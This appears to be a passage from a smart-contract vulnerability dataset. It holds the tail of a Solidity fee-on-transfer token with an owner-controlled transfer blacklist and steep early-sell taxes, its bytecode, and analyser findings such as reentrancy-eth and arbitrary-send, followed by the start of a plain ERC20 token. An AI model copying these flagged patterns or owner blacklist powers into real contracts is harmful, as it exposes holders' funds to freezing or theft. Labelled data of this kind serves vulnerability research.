burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address sniper) external onlyOwner {
_isSniper[sniper] = true;
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e9 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 1);
require(amountRefSell >= 0 && amountRefSell <= 1);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x60806040526004361061021e5760003560e01c806370a082311161012357806395d89b41116100ab578063dd62ed3e1161006f578063dd62ed3e1461064c578063e0f9f6a014610692578063ea1644d5146106b2578063f2fde38b146106d2578063fe72c3c1146106f257600080fd5b806395d89b411461059f5780639ec350ed146105cc5780639f131571146105ec578063a9059cbb1461060c578063c55284901461062c57600080fd5b80637d1db4a5116100f25780637d1db4a514610515578063881dce601461052b5780638da5cb5b1461054b5780638f70ccf7146105695780638f9a55c01461058957600080fd5b806370a08231146104aa578063715018a6146104ca57806374010ece146104df578063790ca413146104ff57600080fd5b806333251a0b116101a65780634bf2c7c9116101755780634bf2c7c91461041f5780635d098b381461043f5780636b9cf5341461045f5780636d8aa8f8146104755780636fc3eaec1461049557600080fd5b806333251a0b1461039d57806338eea22d146103bf5780633e3e9598146103df57806349bd5a5e146103ff57600080fd5b806318160ddd116101ed57806318160ddd1461030f57806323b872dd1461033557806327c8f835146103555780632fd689e31461036b578063313ce5671461038157600080fd5b806306fdde031461022a578063095ea7b31461026e5780630f3a325f1461029e5780631694505e146102d757600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5060408051808201909152600981526804e494e4a41204341560bc1b60208201525b6040516102659190611db3565b60405180910390f35b34801561027a57600080fd5b5061028e610289366004611e1d565b610708565b6040519015158152602001610265565b3480156102aa57600080fd5b5061028e6102b9366004611e49565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102e357600080fd5b506019546102f7906001600160a01b031681565b6040516001600160a01b039091168152602001610265565b34801561031b57600080fd5b50683635c9adc5dea000005b604051908152602001610265565b34801561034157600080fd5b5061028e610350366004611e66565b61071f565b34801561036157600080fd5b506102f761dead81565b34801561037757600080fd5b50610327601d5481565b34801561038d57600080fd5b5060405160098152602001610265565b3480156103a957600080fd5b506103bd6103b8366004611e49565b610788565b005b3480156103cb57600080fd5b506103bd6103da366004611ea7565b610800565b3480156103eb57600080fd5b506103bd6103fa366004611e49565b610851565b34801561040b57600080fd5b50601a546102f7906001600160a01b031681565b34801561042b57600080fd5b506103bd61043a366004611ec9565b61089f565b34801561044b57600080fd5b506103bd61045a366004611e49565b6108dc565b34801561046b57600080fd5b50610327601e5481565b34801561048157600080fd5b506103bd610490366004611ee2565b610936565b3480156104a157600080fd5b506103bd61097e565b3480156104b657600080fd5b506103276104c5366004611e49565b6109a8565b3480156104d657600080fd5b506103bd6109ca565b3480156104eb57600080fd5b506103bd6104fa366004611ec9565b610a3e565b34801561050b57600080fd5b50610327600a5481565b34801561052157600080fd5b50610327601b5481565b34801561053757600080fd5b506103bd610546366004611ec9565b610ae2565b34801561055757600080fd5b506000546001600160a01b03166102f7565b34801561057557600080fd5b506103bd610584366004611ee2565b610b5e565b34801561059557600080fd5b50610327601c5481565b3480156105ab57600080fd5b5060408051808201909152600481526304e4341560e41b6020820152610258565b3480156105d857600080fd5b506103bd6105e7366004611ea7565b610baa565b3480156105f857600080fd5b506103bd610607366004611ee2565b610bfb565b34801561061857600080fd5b5061028e610627366004611e1d565b610c43565b34801561063857600080fd5b506103bd610647366004611ea7565b610c50565b34801561065857600080fd5b50610327610667366004611f04565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069e57600080fd5b506103bd6106ad366004611ec9565b610ca1565b3480156106be57600080fd5b506103bd6106cd366004611ec9565b610ceb565b3480156106de57600080fd5b506103bd6106ed366004611e49565b610d29565b3480156106fe57600080fd5b5061032760185481565b6000610715338484610e13565b5060015b92915050565b600061072c848484610f37565b61077e8433610779856040518060600160405280602881526020016120c4602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061165e565b610e13565b5060019392505050565b6000546001600160a01b031633146107bb5760405162461bcd60e51b81526004016107b290611f3d565b60405180910390fd5b6001600160a01b03811660009081526009602052604090205460ff16156107fd576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b0316331461082a5760405162461bcd60e51b81526004016107b290611f3d565b600182111561083857600080fd5b600181111561084657600080fd5b600d91909155600f55565b6000546001600160a01b0316331461087b5760405162461bcd60e51b81526004016107b290611f3d565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000546001600160a01b031633146108c95760405162461bcd60e51b81526004016107b290611f3d565b60018111156108d757600080fd5b601355565b6017546001600160a01b0316336001600160a01b0316146108fc57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109605760405162461bcd60e51b81526004016107b290611f3d565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b03161461099e57600080fd5b476107fd81611698565b6001600160a01b038116600090815260026020526040812054610719906116d6565b6000546001600160a01b031633146109f45760405162461bcd60e51b81526004016107b290611f3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a685760405162461bcd60e51b81526004016107b290611f3d565b674563918244f40000811015610add5760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107b2565b601b55565b6017546001600160a01b0316336001600160a01b031614610b0257600080fd5b610b0b306109a8565b8111158015610b1a5750600081115b610b555760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107b2565b6107fd8161175a565b6000546001600160a01b03163314610b885760405162461bcd60e51b81526004016107b290611f3d565b601a8054911515600160a01b0260ff60a01b1990921691909117905542600a55565b6000546001600160a01b03163314610bd45760405162461bcd60e51b81526004016107b290611f3d565b6001821115610be257600080fd5b6013811115610bf057600080fd5b600b91909155600c55565b6000546001600160a01b03163314610c255760405162461bcd60e51b81526004016107b290611f3d565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610715338484610f37565b6000546001600160a01b03163314610c7a5760405162461bcd60e51b81526004016107b290611f3d565b600d821115610c8857600080fd5b600d811115610c9657600080fd5b600e91909155601055565b6000546001600160a01b03163314610ccb5760405162461bcd60e51b81526004016107b290611f3d565b6004811115610cd957600080fd5b610ce581610e10611f88565b60185550565b6000546001600160a01b03163314610d155760405162461bcd60e51b81526004016107b290611f3d565b601c54811015610d2457600080fd5b601c55565b6000546001600160a01b03163314610d535760405162461bcd60e51b81526004016107b290611f3d565b6001600160a01b038116610db85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107b2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610e755760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107b2565b6001600160a01b038216610ed65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107b2565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610f9b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107b2565b6001600160a01b038216610ffd5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107b2565b6000811161105f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107b2565b6001600160a01b03821660009081526009602052604090205460ff16156110985760405162461bcd60e51b81526004016107b290611fa7565b6001600160a01b03831660009081526009602052604090205460ff16156110d15760405162461bcd60e51b81526004016107b290611fa7565b3360009081526009602052604090205460ff16156111015760405162461bcd60e51b81526004016107b290611fa7565b6000546001600160a01b0384811691161480159061112d57506000546001600160a01b03838116911614155b156114a657601a54600160a01b900460ff1661118b5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107b2565b601a546001600160a01b0383811691161480156111b657506019546001600160a01b03848116911614155b15611268576001600160a01b03821630148015906111dd57506001600160a01b0383163014155b80156111f757506017546001600160a01b03838116911614155b801561121157506017546001600160a01b03848116911614155b1561126857601b548111156112685760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107b2565b601a546001600160a01b0383811691161480159061129457506017546001600160a01b03838116911614155b80156112a957506001600160a01b0382163014155b80156112c057506001600160a01b03821661dead14155b156113a057601c54816112d2846109a8565b6112dc9190611fce565b106113355760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107b2565b601a54600160b81b900460ff16156113a057600a54611356906104b0611fce565b42116113a057601e548111156113a05760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107b2565b60006113ab306109a8565b601d5490915081118080156113ca5750601a54600160a81b900460ff16155b80156113e45750601a546001600160a01b03868116911614155b80156113f95750601a54600160b01b900460ff165b801561141e57506001600160a01b03851660009081526006602052604090205460ff16155b801561144357506001600160a01b03841660009081526006602052604090205460ff16155b156114a3576013546000901561147e57611473606461146d601354866118d490919063ffffffff16565b90611956565b905061147e81611998565b61149061148b8285611fe6565b61175a565b4780156114a0576114a047611698565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff16806114e857506001600160a01b03831660009081526006602052604090205460ff165b8061151a5750601a546001600160a01b0385811691161480159061151a5750601a546001600160a01b03848116911614155b156115275750600061164c565b601a546001600160a01b03858116911614801561155257506019546001600160a01b03848116911614155b156115ad576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5490036115ad576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b0384811691161480156115d857506019546001600160a01b03858116911614155b1561164c576001600160a01b0384166000908152600460205260409020541580159061162957506018546001600160a01b038516600090815260046020526040902054429161162691611fce565b10155b1561163f57600b54601155600c5460125561164c565b600f546011556010546012555b611658848484846119a5565b50505050565b600081848411156116825760405162461bcd60e51b81526004016107b29190611db3565b50600061168f8486611fe6565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156116d2573d6000803e3d6000fd5b5050565b600060075482111561173d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107b2565b60006117476119d9565b90506117538382611956565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117a2576117a2611ffd565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156117fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181f9190612013565b8160018151811061183257611832611ffd565b6001600160a01b0392831660209182029290920101526019546118589130911684610e13565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac94790611891908590600090869030904290600401612030565b600060405180830381600087803b1580156118ab57600080fd5b505af11580156118bf573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b6000826000036118e657506000610719565b60006118f28385611f88565b9050826118ff85836120a1565b146117535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107b2565b600061175383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119fc565b6107fd3061dead83610f37565b806119b2576119b2611a2a565b6119bd848484611a6f565b8061165857611658601454601155601554601255601654601355565b60008060006119e6611b66565b90925090506119f58282611956565b9250505090565b60008183611a1d5760405162461bcd60e51b81526004016107b29190611db3565b50600061168f84866120a1565b601154158015611a3a5750601254155b8015611a465750601354155b15611a4d57565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611a8187611ba8565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611ab39087611c05565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611ae29086611c47565b6001600160a01b038916600090815260026020526040902055611b0481611ca6565b611b0e8483611cf0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b5391815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611b828282611956565b821015611b9f57505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611bc58a601154601254611d14565b9250925092506000611bd56119d9565b90506000806000611be88e878787611d63565b919e509c509a509598509396509194505050505091939550919395565b600061175383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061165e565b600080611c548385611fce565b9050838110156117535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107b2565b6000611cb06119d9565b90506000611cbe83836118d4565b30600090815260026020526040902054909150611cdb9082611c47565b30600090815260026020526040902055505050565b600754611cfd9083611c05565b600755600854611d0d9082611c47565b6008555050565b6000808080611d28606461146d89896118d4565b90506000611d3b606461146d8a896118d4565b90506000611d5382611d4d8b86611c05565b90611c05565b9992985090965090945050505050565b6000808080611d7288866118d4565b90506000611d8088876118d4565b90506000611d8e88886118d4565b90506000611da082611d4d8686611c05565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611de057858101830151858201604001528201611dc4565b81811115611df2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107fd57600080fd5b60008060408385031215611e3057600080fd5b8235611e3b81611e08565b946020939093013593505050565b600060208284031215611e5b57600080fd5b813561175381611e08565b600080600060608486031215611e7b57600080fd5b8335611e8681611e08565b92506020840135611e9681611e08565b929592945050506040919091013590565b60008060408385031215611eba57600080fd5b50508035926020909101359150565b600060208284031215611edb57600080fd5b5035919050565b600060208284031215611ef457600080fd5b8135801515811461175357600080fd5b60008060408385031215611f1757600080fd5b8235611f2281611e08565b91506020830135611f3281611e08565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611fa257611fa2611f72565b500290565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219821115611fe157611fe1611f72565b500190565b600082821015611ff857611ff8611f72565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561202557600080fd5b815161175381611e08565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120805784516001600160a01b03168352938301939183019160010161205b565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826120be57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f57c688860950ea996077afc1a035d52e47d13b49d84fd3903ebc3534495654564736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,394 |
0xa3cf54c9a335a06b8655ff801cf0b3057fb8a56e
|
/**
Copyright (c) 2018 Productivist
Productivist.com / ERC20 token mechanism
Version 1.0
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
based on the contracts of OpenZeppelin:
https://github.com/OpenZeppelin/zeppelin-solidity/tree/master/contracts
**/
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations (only add and sub here) with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PRODToken is ERC20, Pausable {
using SafeMath for uint256;
string public name = "Productivist"; // token name
string public symbol = "PROD"; // token symbol
uint256 public decimals = 8; // token digit
// Token distribution, must sumup to 1000
uint256 public constant SHARE_PURCHASERS = 617;
uint256 public constant SHARE_FOUNDATION = 173;
uint256 public constant SHARE_TEAM = 160;
uint256 public constant SHARE_BOUNTY = 50;
// Wallets addresses
address public foundationAddress = 0x0;
address public teamAddress = 0x0;
address public bountyAddress = 0x0;
uint256 totalSupply_ = 0;
uint256 public cap = 385000000 * 10 ** decimals; // Max cap 385.000.000 token
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
bool public mintingFinished = false;
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Change token name, Owner only.
* @param _name The name of the token.
*/
function setName(string _name) onlyOwner public {
name = _name;
}
function setWallets(address _foundation, address _team, address _bounty) public onlyOwner canMint {
require(_foundation != address(0) && _team != address(0) && _bounty != address(0));
foundationAddress = _foundation;
teamAddress = _team;
bountyAddress = _bounty;
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool success) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
